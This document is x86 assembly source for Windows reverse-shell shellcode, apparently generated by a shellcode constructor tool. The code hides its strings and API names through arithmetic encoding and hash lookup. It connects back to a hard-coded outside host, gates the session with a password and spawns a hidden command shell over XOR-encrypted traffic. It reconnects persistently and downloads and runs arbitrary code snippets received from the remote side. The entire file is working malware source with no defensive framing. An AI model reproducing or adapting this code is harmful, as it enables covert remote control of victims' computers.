; generated by win32 shellcode constructor (engine version 1.03)
; shellcode parameters:
;   + back-connect to hostname = somefucker.com:666
;   + variable port, 666-->667-->668-->..., cycle in range [512..767]
;   + using seh
;   + reconnect each 12345 ms
;   + dont-drop mode
;   + io buffer size = 512 bytes
;   + using mutex 'sh_mtx'
;   + winNT/win9x (shell='CMD.EXE'/'COMMAND.COM')
;   + loads 'WS2_32.DLL' library to use sockets
;   + use old way to find k32 base
;   + use api hashs to find api addresses
;   + after each api call, ESI = last api address
;   + "OR EAX,EAX" is done before retn from api call
;   + using 0xB8/0xB9 id's for K32/WS2 api cals
;   + using CRC32 hash function
;   + io buffer is managed using GlobalAlloc/GlobalFree
;   + io stream is xor'ed by 0xCC
;   + use "X_PUSH" strings
;   + do WSAStartup() if required
;   + disconnect on inactivity_timeout reached
;   + show prompt: yo bro?\r\n
;   + checking password: wazzup!
;   + check/exec code snippets, prefix: #cdsnpt#
                .386
                .model  flat
                assume  fs:FLAT
                .code
                db      '$START$'
                public  _start
_start:
;--- shellcode src begin ---
; local variables
var_rp1         = 4                     ; type=DWORD, size=4
var_wp1         = 8                     ; type=DWORD, size=4
var_rp2         = 0Ch                   ; type=DWORD, size=4
var_wp2         = 10h                   ; type=DWORD, size=4
var_io_socket   = 14h                   ; type=DWORD, size=4
var_ptr2callbyhash = 18h                ; type=DWORD, size=4
var_ws2_base    = 1Ch                   ; type=DWORD, size=4
var_lastcall    = 20h                   ; type=DWORD, size=4
var_processinfo = 30h                   ; type=DWORD:4, size=16
var_alive       = 34h                   ; type=DWORD, size=4
; consts
C_stack_size    = var_processinfo
C_K32_ID        = 0B8h                  ; == 184
C_WS2_ID        = 0B9h                  ; == 185
C_MAXBUFSIZE    = 512                   ;
C_RECONNECT_MS  = 12345                 ;
C_XORBYTE       = 0CCh                  ; == 204
C_SHELL_PORT    = 666                   ;
C_INACTIVITY    = 600                   ; inactivity timeout, [sec]
; api
API_K32_GlobalAlloc = 7FBC7431h         ; used only if ALLOC_BUF
API_K32_GlobalFree = 636B1E9Dh          ; used only if ALLOC_BUF
API_K32_CreateThread = 906A06B0h        ; used only if MULTITHREAD
API_K32_ExitThread = 80AF62E1h          ; used only if MULTITHREAD
API_K32_CloseHandle = 0B09315F4h        ; used if MULTITHREAD || !NOSHELL
API_K32_CreatePipe = 0A21572CEh         ; used only if !NOSHELL
API_K32_CreateProcessA = 0A851D916h     ; used only if !NOSHELL
API_K32_GetExitCodeProcess = 1CCA53FDh  ; used only if !NOSHELL
API_K32_PeekNamedPipe = 0F49CA6CBh      ; used only if !NOSHELL
API_K32_ReadFile = 095C03D0h            ; used only if !NOSHELL
API_K32_WriteFile = 0CCE95612h          ; used only if !NOSHELL
API_K32_TerminateProcess = 0AB40BF8Dh   ; used only if !NOSHELL
API_K32_CreateMutexA = 0D9AC2453h       ; used only if USE_MUTEX
API_K32_GetLastError = 0D2E536B7h       ; used only if USE_MUTEX
API_K32_WaitForSingleObject = 0E058BB45h ; used only if USE_MUTEX
API_K32_LoadLibraryA = 3FC1BD8Dh        ; used always
API_K32_GetVersion = 4CCF1A0Fh          ; used only if SUPPORT_WIN9X
API_K32_GetTickCount = 5B4219F8h        ; used only if INACT != 0
API_K32_Sleep   = 0CEF2EDA8h            ; used only if BACKCONNECT && RECONNECT_MS != 0
API_WS2_connect = 74CFF91Fh             ; used only if BACKCONNECT
API_WS2_gethostbyname = 377545A2h       ; used only if BACKCONNECT && BC2HOST
API_WS2_WSAStartup = 0A0F5FC93h         ; used only if DO_WSA_STARTUP
API_WS2_setsockopt = 0ED514704h         ; used only if DO_REUSEADDR
API_WS2_socket  = 05E568BBh             ; used always
API_WS2_closesocket = 0A5C6D777h        ; used always
API_WS2_send    = 0A7733ACDh            ; used always
API_WS2_recv    = 59D852ADh             ; used always
API_WS2_select  = 4BF2EAC0h             ; used always
; macros, using TASM/MASM syntax
M_callK32 macro hash
                call    dword ptr [ebp-var_ptr2callbyhash]
                db      C_K32_ID
                dd      hash
endm
M_callWS2 macro hash
                call    dword ptr [ebp-var_ptr2callbyhash]
                db      C_WS2_ID
                dd      hash
endm
; body
; - arguments are [ebp-xx]
; - C_stack_size is size of all local variables, in BYTEs
; - EBX is always 0
; - EDI always points to IO buffer
; - if we use upx-like compression on the binary code, we dont optimize
;   code much, moreover, using MACROs and repeated instructions is sometimes
;   better than creating subroutines, since then is better packed
                enter   C_stack_size, 0 ; alloc stack frame
__restart_main:                         ; seh restart handler
                xor     ebx, ebx        ; always zero
; install seh, on error goto __restart_main
                call    __init_seh
                pop     ecx
                pop     ecx
                pop     esp
                xor     ebx, ebx
                pop     dword ptr fs:[ebx]
                pop     ecx             ; free
                jmp     __restart_main
__init_seh:
                push    dword ptr fs:[ebx]
                mov     fs:[ebx], esp
; zerofill stack vars
                mov     ecx, C_stack_size
                mov     edi, ebp
                sub     edi, ecx
                xor     eax, eax
                cld
                rep     stosb
; set var_ptr2callbyhash
                call    __pop_ptr2callbyhash
                jmp     __call_by_hash
__pop_ptr2callbyhash:
                pop     dword ptr [ebp-var_ptr2callbyhash]
; load ws2 dll
; push('WS2_32.DLL\0')
                xor     eax, eax
                sub     eax, 0FFFFB3B4h
                push    eax             ; push('LL\0\0')
                xor     eax, 442E7E7Fh
                push    eax             ; push('32.D')
                add     eax, 1B042124h
                push    eax             ; push('WS2_')
                push    esp             ; ptr to dll name
                M_callK32 API_K32_LoadLibraryA
; free memory, 12 bytes
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
; save var_ws2_base
                mov     [ebp-var_ws2_base], eax
; allocate io buf
                push    C_MAXBUFSIZE
                push    ebx             ; 0
                M_callK32 API_K32_GlobalAlloc
; set EDI = io buf
                xchg    edi, eax
; check mutex
; push('sh_mtx\0')
                xor     eax, eax
                sub     eax, 0FFFF878Ch
                push    eax             ; push('tx\0\0')
                xor     eax, 6D5F1007h
                push    eax             ; push('sh_m')
                push    esp             ; ptr to mutex name
                push    1               ; initial ownership
                push    ebx             ; 0
                M_callK32 API_K32_CreateMutexA
; free memory, 8 bytes (keep flags)
                pop     ecx             ; free
                pop     ecx             ; free
                jz      __mtx_start
                xchg    ebx, eax
                M_callK32 API_K32_GetLastError
                cmp     al, 183         ; ERROR_ALREADY_EXISTS
                jne     __mtx_start
                push    -1              ; INFINITE
                push    ebx             ; mutex handle
                M_callK32 API_K32_WaitForSingleObject
; WAIT_OBJECT_0=0 WAIT_TIMEOUT=258 WAIT_ABANDONED=128 WAIT_FAILED=-1
__mtx_start:
                xor     ebx, ebx
__create_socket:
; create socket: var_io_socket
__sw_retry:
                push    ebx             ; 0=IPPROTO_IP
                push    1               ; SOCK_STREAM
                push    2               ; AF_INET
                M_callWS2 API_WS2_socket
                mov     [ebp-var_io_socket], eax
                inc     eax             ; check for -1==INVALID_SOCKET
                jnz     __sw_socket_ok
; do WSAStartup
                push    edi             ; io buf
                push    0101h           ; version = MAKEWORD(1,1)
                M_callWS2 API_WS2_WSAStartup
                jmp     __sw_retry
__sw_socket_ok:
; connect
__reconnect:
; resolve IP by hostname, on error goto __conn_fault
; push('somefucker.com\0')
                xor     eax, eax
                sub     eax, 0FFFF9291h
                push    eax             ; push('om\0\0')
                xor     eax, 632E1F0Ah
                push    eax             ; push('er.c')
                add     eax, 08350301h
                push    eax             ; push('fuck')
                sub     eax, 05F605F3h
                push    eax             ; push('some')
                push    esp             ; ptr to host name
                M_callWS2 API_WS2_gethostbyname
; free memory, 16 bytes (keep flags)
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                jz      __conn_fault
; EAX = struct hostent*
                mov     eax, [eax+12]   ; EAX=h_addr_list
                mov     ecx, [eax]      ; ECX=h_addr_list[0]
                mov     ecx, [ecx]      ; ECX=IP
; alloc struct sockaddr_in (push in reversed dwordorder)
                push    ebx             ; 0
                push    ebx             ; 0
                push    ecx             ; resolved IP
                push    (C_SHELL_PORT and 00FFh) shl 24 + ((C_SHELL_PORT and 0FF00h) shl 8) + 2 ; 2=AF_INET
                call    __varp_pop
__varp_pop:
                pop     eax
                inc     byte ptr [eax-5-1]
                mov     ecx, esp        ; ecx = struct sockaddr
                push    16              ; sizeof(struct sockaddr)
                push    ecx             ; struct sockaddr
                push    dword ptr [ebp-var_io_socket] ; socket
                M_callWS2 API_WS2_connect
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                jz      __connected
__conn_fault:
                push    C_RECONNECT_MS
                M_callK32 API_K32_Sleep
                jmp     __reconnect
__connected:
; push('yo bro?\r\n')
                xor     eax, eax
                sub     eax, 0FF91A38Eh
                push    eax             ; push('r\\n\0')
                xor     eax, 5C513300h
                push    eax             ; push('ro?\\')
                add     eax, 05E10007h
                push    eax             ; push('yo b')
                mov     ecx, esp        ; ECX=ptr to prompt string
; send PROMPT to socket
                push    ebx             ; 0
                push    11              ; strlen(prompt)
                push    ecx             ; prompt string
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_send
; free memory, 12 bytes
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                inc     eax             ; SOCKET_ERROR?
                jz      __end_io_socket
; recv PASSWORD from socket
                push    ebx             ; flags==0
                push    7               ; strlen(password)
                push    edi             ; ptr to io buffer
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_recv
                cmp     eax, 7          ; check password length
                jnz     __end_io_socket ; --> close conn
                xchg    ecx, eax        ; ECX=strlen(password)
; push('wazzup!')
                xor     eax, eax
                sub     eax, 0FFDE8F8Bh
                push    eax             ; push('up!\0')
                xor     eax, 7A5B1102h
                push    eax             ; push('wazz')
                mov     esi, esp        ; ESI=ptr to password string
; compare data
                push    edi
                repz    cmpsb           ; CLD in the INIT part
                pop     edi
; free memory, 8 bytes (keep flags)
                pop     ecx             ; free
                pop     ecx             ; free
                jnz     __end_io_socket ; bad password? --> close conn
__exec_shell:
; check if shell already executed and we have
; opened pipe handles to attach to
                cmp     [ebp-var_rp1], ebx
                jnz     __shell_cycle
; create pipes & exec shell
; create pipe pair, read pipe = var_rp1, write pipe = var_wp1
                lea     eax, [ebp-var_wp1]
                lea     ecx, [ebp-var_rp1]
                call    __create_pipe
                jz      __end_shell
; create pipe pair, read pipe = var_rp2, write pipe = var_wp2
                lea     eax, [ebp-var_wp2]
                lea     ecx, [ebp-var_rp2]
                call    __create_pipe
                jz      __end_shell
; alloc startupinfo (reversed dwordorder)
                push    dword ptr [ebp-var_wp2] ; stderr
                push    dword ptr [ebp-var_wp2] ; stdout
                push    dword ptr [ebp-var_rp1] ; stdin
                push    ebx
                push    ebx             ; 1st WORD = 0 = SW_HIDE
                push    257             ; STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES
                push    10
                pop     ecx
__si_fill_cycle:                        ; 0x00 x 40
                push    ebx
                loop    __si_fill_cycle
                push    68              ; sizeof(_STARTUPINFO)
; alloc cmdline
                M_callK32 API_K32_GetVersion
                mov     edx, esp        ; ptr to _STARTUPINFO
                js      __rs_win9X
                push    ebx             ; make both pushed sizes equal
; push('CMD.EXE\0')
                xor     eax, eax
                sub     eax, 0FFBAA7BBh
                push    eax             ; push('EXE\0')
                xor     eax, 2E011506h
                push    eax             ; push('CMD.')
                jmp     __rs_pushed
__rs_win9X:
; push('COMMAND.COM\0')
                xor     eax, eax
                sub     eax, 0FFB2B0BDh
                push    eax             ; push('COM\0')
                xor     eax, 2E090102h
                push    eax             ; push('AND.')
                add     eax, 1F090102h
                push    eax             ; push('COMM')
__rs_pushed:
                mov     ecx, esp        ; ecx=shell name
; exec shell
                lea     eax, [ebp-var_processinfo]
                push    eax             ; -->processinfo
                push    edx             ; -->startupinfo
                push    ebx             ; 0
                push    ebx             ; 0
                push    ebx             ; 0
                push    1               ; inherit handles
                push    ebx             ; 0
                push    ebx             ; 0
                push    ecx             ; --> shell.exe
                push    ebx             ; 0
                M_callK32 API_K32_CreateProcessA
; free memory, 80 bytes (keep flags)
                lea     esp, [esp+80]
                jz      __end_shell
; main io cycle, including data xor (if C_XORBYTE defined)
__shell_cycle:
; main shell io cycle
; save time_0
__save_alive:
                M_callK32 API_K32_GetTickCount
                mov     [ebp-var_alive], eax
__sh_cycle:
; check if shell died
                push    ebx             ; alloc
                push    esp             ; ptr to ExitCode
                push    dword ptr [ebp-var_processinfo+0] ; hProcess
                M_callK32 API_K32_GetExitCodeProcess
                pop     eax             ; free, get EAX=ExitCode
                jz      __end_shell
                cmp     ax, 103h        ; STILL_ACTIVE ?
                jne     __end_shell
; check if shell pipe has something to be read
                push    ebx             ; alloc
                mov     ecx, esp
                push    ebx             ; 0==bytesleftthismessage
                push    ecx             ; totalbytesavail
                push    ebx             ; 0==bytesread
                push    ebx             ; 0==bufsize
                push    ebx             ; 0==io buf
                push    dword ptr [ebp-var_rp2] ; pipe
                M_callK32 API_K32_PeekNamedPipe
                pop     ecx             ; free, get ECX=totalbytesavail
                jz      __end_shell
                or      ecx, ecx
                jz      __sh_readsocket
; calc how many bytes can we read (not more than C_MAXBUFSIZE)
                mov     eax, C_MAXBUFSIZE
                cmp     ecx, eax
                jbe     __sh_sizeok
                xchg    ecx, eax
; read from pipe
__sh_sizeok:
                push    ebx             ; alloc numread
                mov     edx, esp        ; ptr to numread
                push    ebx             ; 0
                push    edx             ; ptr to numread
                push    ecx             ; bufsize
                push    edi             ; ptr to io buffer
                push    dword ptr [ebp-var_rp2] ; pipe
                M_callK32 API_K32_ReadFile
                pop     eax             ; free, get EAX=numread
                jz      __end_shell
; encrypt data
                pushad
__xor_cycle_1:
                xor     byte ptr [edi], C_XORBYTE
                inc     edi
                dec     eax
                jnz     __xor_cycle_1
                popad
; send to socket
                push    ebx             ; 0
                push    eax             ; bufsize
                push    edi             ; ptr to io buffer
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_send
                inc     eax             ; SOCKET_ERROR?
                jz      __end_io_socket
; back to shell cycle && save alive time
                jmp     __save_alive
__sh_readsocket:
; check if inactivity timeout
                M_callK32 API_K32_GetTickCount
                sub     eax, [ebp-var_alive]
                cmp     eax, C_INACTIVITY*1000
                jg      __end_io_socket
; alloc,readfds (reversed dwordorder)
                push    dword ptr [ebp-var_io_socket]
                push    1
                mov     ecx, esp
; alloc,timeout (reversed dwordorder)
                push    100             ; tv_usec
                push    ebx             ; tv_sec==0
; check if something can be read from socket
                push    esp             ; ptr to timeout
                push    ebx             ; 0=exceptfds
                push    ebx             ; 0=writefds
                push    ecx             ; ptr to readfds
                push    ebx             ; nfds=0=unused
                M_callWS2 API_WS2_select
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                inc     eax             ; -1=error?
                jz      __end_io_socket ; 0=timeout
                dec     eax
                jz      __sh_cycle      ; 0=timeout
; recv from socket
                push    ebx             ; flags==0
                push    C_MAXBUFSIZE
                push    edi             ; ptr to io buffer
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_recv
                jle     __end_io_socket ; -1,0 --> __end_io_socket
; decrypt data
                pushad
__xor_cycle_2:
                xor     byte ptr [edi], C_XORBYTE
                inc     edi
                dec     eax
                jnz     __xor_cycle_2
                popad
; check if code snippet
                cmp     eax, 8+4        ; check snippet prefix length + 4
                jnz     __end_snippet_1
                pushad
                lea     ecx, [eax-4]    ; ECX=strlen(snippet prefix)
; push('#cdsnpt#')
                xor     eax, eax
                sub     eax, 0DC8B8F92h
                push    eax             ; push('npt#')
                xor     eax, 5010134Dh
                push    eax             ; push('#cds')
                mov     esi, esp        ; ESI=ptr to snippet prefix string
; compare data
                repz    cmpsb           ; CLD in the INIT part
; free memory, 8 bytes (keep flags)
                pop     ecx             ; free
                pop     ecx             ; free
                jnz     __end_snippet_3
                mov     ebx, [edi]      ; EBX=snippet length (4 bytes after prefix string)
; allocate buffer
                push    ebx             ; EBX=snippet length
                push    0
                M_callK32 API_K32_GlobalAlloc
                xchg    edi, eax        ; EDI=snippet buffer
; recv <snippet_data> from socket
                pushad
__snippet_cycle:
                push    0               ; flags
                push    ebx             ; snippet length (remaining)
                push    edi             ; ptr to snippet data (+offs)
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_recv
                jle     __rcvd_snippet
                add     edi, eax
                sub     ebx, eax
                jnz     __snippet_cycle
__rcvd_snippet:
                or      eax, eax        ; check if error
                popad
                jle     __end_snippet_2
; call snippet
                pushad
                push    dword ptr [ebp-var_io_socket] ; [ESP+4]=io socket
                call    edi
                pop     ecx
                popad
__end_snippet_2:
; free buffer
                push    edi             ; ptr to allocated snippet buffer
                M_callK32 API_K32_GlobalFree
                popad
; back to shell cycle && save alive time
                jmp     __save_alive
__end_snippet_3:
                popad
__end_snippet_1:
; send to shell
                push    ebx             ; lpOverlapped==NULL
                push    esp             ; ptr to numwritten(note if RETN)
                push    eax             ; bufsize
                push    edi             ; ptr to io buffer
                push    dword ptr [ebp-var_wp1] ; pipe handle
                M_callK32 API_K32_WriteFile
                jz      __end_shell
; back to shell cycle && save alive time
                jmp     __save_alive
__end_shell:
; shell died, conn exists, --> restart shell
                call    __kill_shell
                jmp     __exec_shell
__end_io_socket:
; conn dropped, shell exists
; close socket: var_io_socket
                push    dword ptr [ebp-var_io_socket]
                M_callWS2 API_WS2_closesocket
                mov     [ebp-var_io_socket], ebx ; zero socket handle
                jmp     __create_socket ; --> connect again
__call_by_hash:
; this address is stored into var_ptr2callbyhash local variable,
; to do call [ebp-xx] (3 const bytes) instead of E8 xxxxxxxx (5 var bytes)
; used by callK32 && callWS2 macros
                pop     esi
                lodsb
                cmp     al, C_WS2_ID
                lodsd
                pusha
                mov     ebx, [ebp-var_ws2_base]
                je      __base_found
; find kernel32 base (using old method)
                xor     ebx, ebx
                mov     eax, fs:[ebx]   ; EBX==0
__kb_cycle1:
                cmp     dword ptr [eax], -1
                mov     ebx, [eax+4]
                mov     eax, [eax]
                jnz     __kb_cycle1
; scan backwards, by 64k, to find some image base
                call    __findbase
                mov     edx, [ebx+3Ch]  ; PE header
                mov     edx, [ebx+edx+80h] ; ImportTableRVA
__kb_cycle2:
                mov     ecx, [ebx+edx+0Ch] ; dll name
                or      ecx, ecx
                jz      __kb_found
                add     edx, 20         ; go to next import entry
                mov     eax, [ebx+ecx]  ; 'KERN'
                xor     eax, [ebx+ecx+4] ; 'EL32'
                cmp     eax, 7C61090Eh  ; 'KERN' xor 'EL32'
                jne     __kb_cycle2
                mov     ecx, [ebx+edx-20+10h] ; AddressTableRVA
                mov     ebx, [ebx+ecx]  ; kernel's proc addr
; scan backwards, by 64k, to find some image base
                call    __findbase
__kb_found:
__base_found:
                mov     ecx, [ebx+3Ch]  ; ECX = pe header
                mov     ecx, [ecx+ebx+78h] ; ECX = export rva
                add     ecx, ebx        ; ECX = export va
                xor     esi, esi        ; for each func, ESI = index
__search_cycle:
                lea     edx, [esi*4+ebx]
                add     edx, [ecx+20h]  ; ex_namepointersrva
                mov     edx, [edx]      ; name va
                add     edx, ebx        ; +imagebase
; calculate api hash
                push    -1
                pop     eax
__calc_hash:
                xor     al, [edx]
                inc     edx
                push    8
                pop     edi
__crc32a:
                shr     eax, 1
                jnc     __crc32b
                xor     eax, 0EDB88320h
__crc32b:
                dec     edi
                jnz     __crc32a
                cmp     byte ptr [edx], 0
                jne     __calc_hash
                not     eax
                cmp     eax, [esp+7*4]  ; compare hashs (PUSHA.EAX)
                je      __name_found
                inc     esi             ; index++
                cmp     esi, [ecx+18h]  ; ex_numofnamepointers
                jb      __search_cycle
; should never get here
__name_found:
                mov     edx, [ecx+24h]  ; ex_ordinaltablerva
                add     edx, ebx        ; +imagebase
                movzx   edx, word ptr [edx+esi*2] ; edx=current ordinal
                mov     eax, [ecx+1Ch]  ; ex_addresstablerva
                add     eax, ebx        ; +imagebase
                mov     eax, [eax+edx*4] ; eax=current address
                add     eax, ebx        ; +imagebase
; var_lastcall local var is used temporarily, only by this subroutine
                mov     [ebp-var_lastcall], eax
                popa
                call    dword ptr [ebp-var_lastcall]
                or      eax, eax
                push    esi
                mov     esi, [ebp-var_lastcall]
                retn
; on return:
; ESI    = just called subroutine's address
; EFlags = result of OR EAX,EAX
__create_pipe:
; alloc s.a. (reversed dwordorder)
                push    1               ; inherit handles
                push    ebx             ; lpSecurityDescriptor=NULL
                push    12              ; sizeof(sa)
                mov     edx, esp        ; ptr to SECURITY_ATTRIBUTES
                push    ebx             ; nSize=0
                push    edx             ; security attributes
                push    eax             ; w
                push    ecx             ; r
                M_callK32 API_K32_CreatePipe
                pop     ecx             ; free
                pop     ecx             ; free
                pop     ecx             ; free
                retn
__kill_shell:
; terminate shell && close pipe handles
                push    ebx             ; process exit code
                push    dword ptr [ebp-var_processinfo+0] ; hProcess
                M_callK32 API_K32_TerminateProcess
                push    dword ptr [ebp-var_processinfo+0] ; hProcess
                M_callK32 API_K32_CloseHandle
                mov     [ebp-var_processinfo+0], ebx ; hProcess<--0
                push    dword ptr [ebp-var_processinfo+4] ; hThread
                call    esi             ; ESI==last called api
                mov     [ebp-var_processinfo+4], ebx ; hThread<--0
                push    dword ptr [ebp-var_rp1] ; pipe
                call    esi             ; ESI==last called api
                mov     [ebp-var_rp1], ebx
                push    dword ptr [ebp-var_rp2] ; pipe
                call    esi             ; ESI==last called api
                mov     [ebp-var_rp2], ebx
                push    dword ptr [ebp-var_wp1] ; pipe
                call    esi             ; ESI==last called api
                mov     [ebp-var_wp1], ebx
                push    dword ptr [ebp-var_wp2] ; pipe
                call    esi             ; ESI==last called api
                mov     [ebp-var_wp2], ebx
                retn
; scan backwards, by 64k, to find some image base
__findbase:
                xor     bx, bx          ; and ebx,not (65536-1)
                jmp     __fb_start_1
__fb_cycle_1:
                sub     ebx, 65536
__fb_start_1:
                mov     eax, [ebx]
                not     eax
                cmp     ax, 0A5B2h      ; not 'MZ'
                jne     __fb_cycle_1
                retn
;--- shellcode src end ---
                db      '$END$'
                end     _start
; EOF
